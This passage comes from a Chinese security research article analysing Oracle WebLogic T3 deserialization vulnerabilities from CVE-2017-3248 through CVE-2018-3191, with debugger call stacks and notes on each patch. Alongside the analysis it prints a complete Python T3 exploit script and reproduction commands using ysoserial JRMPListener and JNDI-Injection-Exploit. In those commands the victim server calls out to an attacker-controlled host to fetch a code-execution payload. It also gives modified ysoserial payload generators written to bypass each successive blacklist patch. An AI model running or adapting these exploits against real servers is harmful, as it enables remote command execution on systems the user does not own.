继续在InboundMsgAbbrev.class的resolveClass方法和MarshalledObject的readResolve方法下断点,使用weblogic_cmd执行一次

这里的类名是MarshalledObject,不在黑名单中,故可以绕过isBlackListed方法的判断
继续执行,到下一个断点,执行到MarshalledObject的readResolve方法的调用栈

readResolve:56, MarshalledObject (weblogic.corba.utils)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invokeReadResolve:1091, ObjectStreamClass (java.io)
readOrdinaryObject:1805, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readObject:69, InboundMsgAbbrev (weblogic.rjvm)
read:41, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:215, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:394, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:960, SocketMuxer (weblogic.socket)
readReadySocket:897, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

这与上面的resolveClass、readExternal方法一样,都是在执行readObject方法的底层执行

最后会调用恶意对象的readObject方法,执行CC1链

总结
在Java中,当一个对象被序列化时,会将对象的类型信息和对象的数据一起写入流中。当流被反序列化时,Java会根据类型信息创建对象,并将对象的数据从流中读取出来,然后调用对象中的readObject方法将数据还原到对象中,最终返回一个Java对象。在Weblogic中,当从流量中获取到普通类序列化数据的类对象后,程序会依次尝试调用类对象中的readObject、readResolve、readExternal等方法,以恢复对象的状态。

readObject方法是Java中的一个成员方法,用于从流中读取对象的数据,并将其还原到对象中。该方法可以被对象重写,以实现自定义的反序列化逻辑。

readResolve方法是Java中的一个成员方法,用于在反序列化后恢复对象的状态。当对象被反序列化后,Java会检查对象中是否存在readResolve方法,如果存在,则会调用该方法恢复对象的状态。

readExternal方法是Java中的一个成员方法,用于从流中读取对象的数据,并将其还原到对象中。该方法通常被用于实现Java标准库中的可序列化接口Externalizable,以实现自定义的序列化逻辑。

修复
2016年10月发布的p23743997_1036_Generic补丁
在weblogic.corba.utils.MarshalledObject的readResolve方法中创建一个匿名内部类,重写resolveClass方法,加上了黑名单过滤,使用网上的一张图

参考
https://www.cnblogs.com/nice0e3/p/14269444.html

3.5 CVE-2017-3248分析

漏洞复现

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 'touch /tmp/cve-2017-3248'
python cve-2017-3248.py 127.0.0.1 7001 ysoserial-all.jar 127.0.0.1 9999 JRMPClient

#在docker中执行
/java/bin/java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 'touch /tmp/cve-2017-3248'
python cve-2017-3248.py 127.0.0.1 7001 ysoserial-all.jar 127.0.0.1 9999 JRMPClient


最终命令执行成功,在/tmp目录下新建了cve-2017-3248文件
exp

from __future__ import print_function

import binascii
import os
import socket
import sys
import time


def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
    #generates ysoserial payload
    command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)
    print("command: " + command)
    os.system(command)
    bin_file = open('payload.out','rb').read()
    return binascii.hexlify(bin_file)


def t3_handshake(sock, server_addr):
    sock.connect(server_addr)
    sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
    time.sleep(1)
    data = sock.recv(1024)
    print(data)
    print('handshake successful')


def build_t3_request_object(sock, port):
    data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
    data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
    data3 = '1a7727000d3234322e323134'
    data4 = '2e312e32353461863d1d0000000078'
    for d in [data1,data2,data3,data4]:
        sock.send(d.decode('hex'))
    time.sleep(2)
    print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))


def send_payload_objdata(sock, data):
    payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
    payload+=data
    payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
    payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
    sock.send(payload.decode('hex'))
    time.sleep(2)
    sock.send(payload.decode('hex'))
    res = ''
    try:
        while True:
            res += sock.recv(4096)
            time.sleep(0.1)
    except Exception:
        pass
    return res


def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(65)
    server_addr = (dip, dport)
    t3_handshake(sock, server_addr)
    build_t3_request_object(sock, dport)
    payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
    print("payload: " + payload)
    rs=send_payload_objdata(sock, payload)
    print('response: ' + rs)
    print('exploit completed!')


if __name__=="__main__":
    #check for args, print usage if incorrect
    if len(sys.argv) != 7:
        print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] '
              '[JRMPListener ip] [JRMPListener port] [JRMPClient]\n')
        sys.exit()

    dip = sys.argv[1]
    dport = int(sys.argv[2])
    path_ysoserial = sys.argv[3]
    jrmp_listener_ip = sys.argv[4]
    jrmp_listener_port = sys.argv[5]
    jrmp_client = sys.argv[6]
    exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)

payloads.JRMPClient中payload的构造:

public Registry getObject ( final String command ) throws Exception {

    String host;
    int port;
    int sep = command.indexOf(':');
    if ( sep < 0 ) {
        port = new Random().nextInt(65535);
        host = command;
    }
    else {
        host = command.substring(0, sep);
        port = Integer.valueOf(command.substring(sep + 1));
    }
    ObjID id = new ObjID(new Random().nextInt()); // RMI registry
    TCPEndpoint te = new TCPEndpoint(host, port);
    UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
    RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
    Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
        Registry.class
    }, obj);
    return proxy;
}

漏洞分析
首先分析的是输入流中的类能否绕过resolveClass中的过滤,经过断点调试及ysoserial中payload的生成,最终输出流中包装的类java.rmi.server.RemoteObjectInvocationHandler不在黑名单中,故这种方式可绕过resolveClass的过滤
在命令最终执行得地方下断点,利用得CC1链,即在InvokerTransformer类的transform方法上下断点
函数调用栈:

transform:119, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:157, LazyMap (org.apache.commons.collections.map)
invoke:69, AnnotationInvocationHandler (sun.reflect.annotation)
entrySet:-1, $Proxy74 (com.sun.proxy)
readObject:346, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invokeReadObject:1004, ObjectStreamClass (java.io)
readSerialData:1891, ObjectInputStream (java.io)
readOrdinaryObject:1796, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
defaultReadFields:1989, ObjectInputStream (java.io)
readSerialData:1913, ObjectInputStream (java.io)
readOrdinaryObject:1796, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
executeCall:243, StreamRemoteCall (sun.rmi.transport)
invoke:377, UnicastRef (sun.rmi.server)
dirty:-1, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:360, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:303, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:139, DGCClient (sun.rmi.transport)
read:312, LiveRef (sun.rmi.transport)
readExternal:491, UnicastRef (sun.rmi.server)
readObject:455, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invokeReadObject:1004, ObjectStreamClass (java.io)
readSerialData:1891, ObjectInputStream (java.io)
readOrdinaryObject:1796, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
defaultReadFields:1989, ObjectInputStream (java.io)
readSerialData:1913, ObjectInputStream (java.io)
readOrdinaryObject:1796, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readObject:69, InboundMsgAbbrev (weblogic.rjvm)
read:41, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:215, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:394, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:960, SocketMuxer (weblogic.socket)
readReadySocket:897, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket) 
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

进入到InboundMsgAbbrev的readObject方法,这里对weblogic T3协议传过来的数据进行反序列化操作

ServerChannelInputStream继承ObjectInputStream,继续往上查看调用readObject的地方,中间可以忽略ObjectInputStream readObject方法的底层执行,来到RemoteObject的readObject方法

如果对ysoserial的JRMP模块进行分析过,就能够清楚了解后面的这条链
详细参考:https://xz.aliyun.com/t/12780

大致流程
从最开始到现在的漏洞,需要明白恶意的payload都是寄托在T3协议之上的,将恶意的payload通过T3协议发送给weblogic服务器,weblogic服务器会对其进行反序列化,但是在InboundMsgAbbrev的resolveClass方法中,会对payload中的类进行过滤,只要绕过了黑名单,恶意的payload就会反序列化导致命令执行
使用exploit.JRMPListener开启9999端口远程对象调用服务,对应的是CC1链构造的恶意payload1
使用python脚本与weblogic服务通信,发送由payloads.JRMPClient生成的payload2,payload2在weblogic反序列化后会与JRMPListener的9999端口请求,得到恶意的payload2后,反序列化后会导致命令的执行

修复
官方给出了p24667634_1036_Generic补丁,修复点还是添加黑名单
在InboundMsgAbbrev.ServerChannelInputStream中,对java.rmi.registry.Registry进行过滤

protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
   String[] arr$ = interfaces;
   int len$ = interfaces.length;
   for(int i$ = 0; i$ < len$; ++i$) {
      String intf = arr$[i$];
      if(intf.equals("java.rmi.registry.Registry")) {
         throw new InvalidObjectException("Unauthorized proxy deserialization");
      }
   }
   return super.resolveProxyClass(interfaces);
}

参考
https://www.cnblogs.com/nice0e3/p/14275298.html
https://www.anquanke.com/post/id/225137

3.6 CVE-2018-2628分析

可以看到在cve-2017-3248中的补丁中,在resolveProxyClass方法中对java.rmi.registry.Registry进行了过滤。
在readObject底层操作中,存在两条路,一条是resolveClass,另一条是resolveProxyClass。当反序列化的是动态代理对象,就会走到resolveProxyClass方法中,如果取消Proxy的包装,就能够绕过resolveProxyClass方法

绕过分析
两种利用方式
第一:去除Proxy,修改payloads.JRMPClient生成payload

public Registry getObject ( final String command ) throws Exception {

    String host;
    int port;
    int sep = command.indexOf(':');
    if ( sep < 0 ) {
        port = new Random().nextInt(65535);
        host = command;
    }
    else {
        host = command.substring(0, sep);
        port = Integer.valueOf(command.substring(sep + 1));
    }
    ObjID id = new ObjID(new Random().nextInt()); // RMI registry
    TCPEndpoint te = new TCPEndpoint(host, port);
    UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
    // 删除下面
    // RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
    // Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
    //     Registry.class
    // }, obj);
    // return proxy;
    // 直接返回UnicastRef对象
    return ref;
}

修改后打成jar包,然后按照cve-2017-3248的步骤即可利用
第二:使用java.rmi.activation.Activator远程接口
还是修改payloads.JRMPClient

public Registry getObject ( final String command ) throws Exception {

    String host;
    int port;
    int sep = command.indexOf(':');
    if ( sep < 0 ) {
        port = new Random().nextInt(65535);
        host = command;
    }
    else {
        host = command.substring(0, sep);
        port = Integer.valueOf(command.substring(sep + 1));
    }
    ObjID id = new ObjID(new Random().nextInt()); // RMI registry
    TCPEndpoint te = new TCPEndpoint(host, port);
    UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
    Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {
            Activator.class
        }, obj);
    return proxy;
}

修复
2018年发布的p27395085_1036_Generic
其补丁对sun.rmi.server.UnicastRef进行了过滤,具体位置在weblogic.utils.io.oif.WebLogicFilterConfig

3.7 CVE-2018-2893分析

由于在CVE-2018-2628的补丁后,对sun.rmi.server.UnicastRef进行了过滤,所以这里的绕过方式就是CVE-2016-0638与CVE-2017-3248的结合
修改payloads.JRMPClient
由于JDK中不存在StreamMessageImpl类,所以需要导入weblogic中的类

import weblogic.jms.common.StreamMessageImpl;
public Object getObject (final String command ) throws Exception {
    String host;
    int port;
    int sep = command.indexOf(':');
    if (sep < 0) {
        port = new Random().nextInt(65535);
        host = command;
    }
    else {
        host = command.substring(0, sep);
        port = Integer.valueOf(command.substring(sep + 1));
    }
    ObjID objID = new ObjID(new Random().nextInt());
    TCPEndpoint tcpEndpoint = new TCPEndpoint(host, port);
    UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false));
    RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef);
    Object object = Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, remoteObjectInvocationHandler);

    return streamMessageImpl(Serializer.serialize(object));
    // or
    // StreamMessageImpl streamMessage = new StreamMessageImpl();
    // byte[] serialize = Serializer.serialize(object);
    // streamMessage.setDataBuffer(serialize,serialize.length);
    // return streamMessage;
}

修复
18年7月的p27919965_1036_Generic补丁

java.rmi.activation.*sun.rmi.server.*java.rmi.server.RemoteObjectInvocationHandlerjava.rmi.server.UnicastRemoteObject进行了过滤

3.8 CVE-2018-3245分析

这里过滤了RemoteObjectInvocationHandler和UnicastRemoteObject,需要重新找到一个替代类,但是总体的思想没有变
观察CVE-2017-3248中的函数调用栈,会调用RemoteObject的readObject方法,所以这里只需要找到继承java.rmi.server.RemoteObject的类就行
查看RemoteObject的子类:

可利用的类:

javax.management.remote.rmi.RMIConnectionImpl_Stub
com.sun.jndi.rmi.registry.ReferenceWrapper_Stub
javax.management.remote.rmi.RMIServerImpl_Stub
sun.rmi.registry.RegistryImpl_Stub
sun.rmi.transport.DGCImpl_Stub
sun.management.jmxremote.SingleEntryRegistry

继续修改payloads.JRMPClient

import javax.management.remote.rmi.RMIConnectionImpl_Stub;
public Object getObject (final String command ) throws Exception {
    String host;
    int port;
    int sep = command.indexOf(':');
    if (sep < 0) {
        port = new Random().nextInt(65535);
        host = command;
    }
    else {
        host = command.substring(0, sep);
        port = Integer.valueOf(command.substring(sep + 1));
    }
    ObjID objID = new ObjID(new Random().nextInt());
    TCPEndpoint tcpEndpoint = new TCPEndpoint(host, port);
    UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false));
    RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub(ref);
    return stub;
}

修复
2018年8月发布的p28343311_1036_201808Generic补丁
它将java.rmi.server.RemoteObject加入到黑名单,使用网上一张图

3.9 CVE-2018-3191分析

这个漏洞是T3+JNDI
漏洞复现
直接下载这个利用工具https://github.com/m00zh33/CVE-2018-3191
然后配合JNDI利用工具https://github.com/welk1n/JNDI-Injection-Exploit
python脚本依然使用cve-2017-3248的脚本,修改一些参数即可

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/cve-2018-3191" -A "192.168.155.90"
python cve-2018-3191.py 127.0.0.1 7001 weblogic-spring-jndi-10.3.6.0.jar rmi://192.168.155.90:1099/ushw72

漏洞分析
在JndiTemplate类的lookup处下断点,开启调试
函数调用栈:

lookup:155, JndiTemplate (com.bea.core.repackaged.springframework.jndi)
lookupUserTransaction:565, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
initUserTransactionAndTransactionManager:444, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
readObject:1198, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invokeReadObject:1004, ObjectStreamClass (java.io)
readSerialData:1891, ObjectInputStream (java.io)
readOrdinaryObject:1796, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readObject:69, InboundMsgAbbrev (weblogic.rjvm)
read:41, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:215, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:394, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:960, SocketMuxer (weblogic.socket)
readReadySocket:897, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

前面这些步骤不需要管,这条链就4个步骤
观察initUserTransactionAndTransactionManager方法,userTransactionName是我们设置的rmi地址

最后通过lookup函数查询rmi

根据以上分析,也可以通过修改ysoserial来获得payload

public Object getObject(String command) throws Exception {
    // if(command == null) {
    //     command = "rmi://localhost:1099/Exploit";
    // }
    JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
    jtaTransactionManager.setUserTransactionName(command);
    return jtaTransactionManager;
}

修复
2018年8月发布p28343311_1036_Generic补丁,它将JtaTransactionManager的父类AbstractPlatformTransactionManager加入到了黑名单

4. 总结

以上是对基于T3协议的反序列化漏洞进行的详细分析,篇幅过长,基于XML的反序列化漏洞见下篇...

5. 参考

https://er1cccc.gitee.io/r2/2021/11/04/weblogic%E5%8F%A4%E8%80%81%E6%BC%8F%E6%B4%9E%E6%A2%B3%E7%90%86/
http://drops.xmd5.com/static/drops/web-13470.html
https://www.freebuf.com/vuls/229140.html
https://xz.aliyun.com/t/9932
https://xz.aliyun.com/t/12780


文章来源: https://xz.aliyun.com/t/12947
如有侵权请联系:admin#unsafe.sh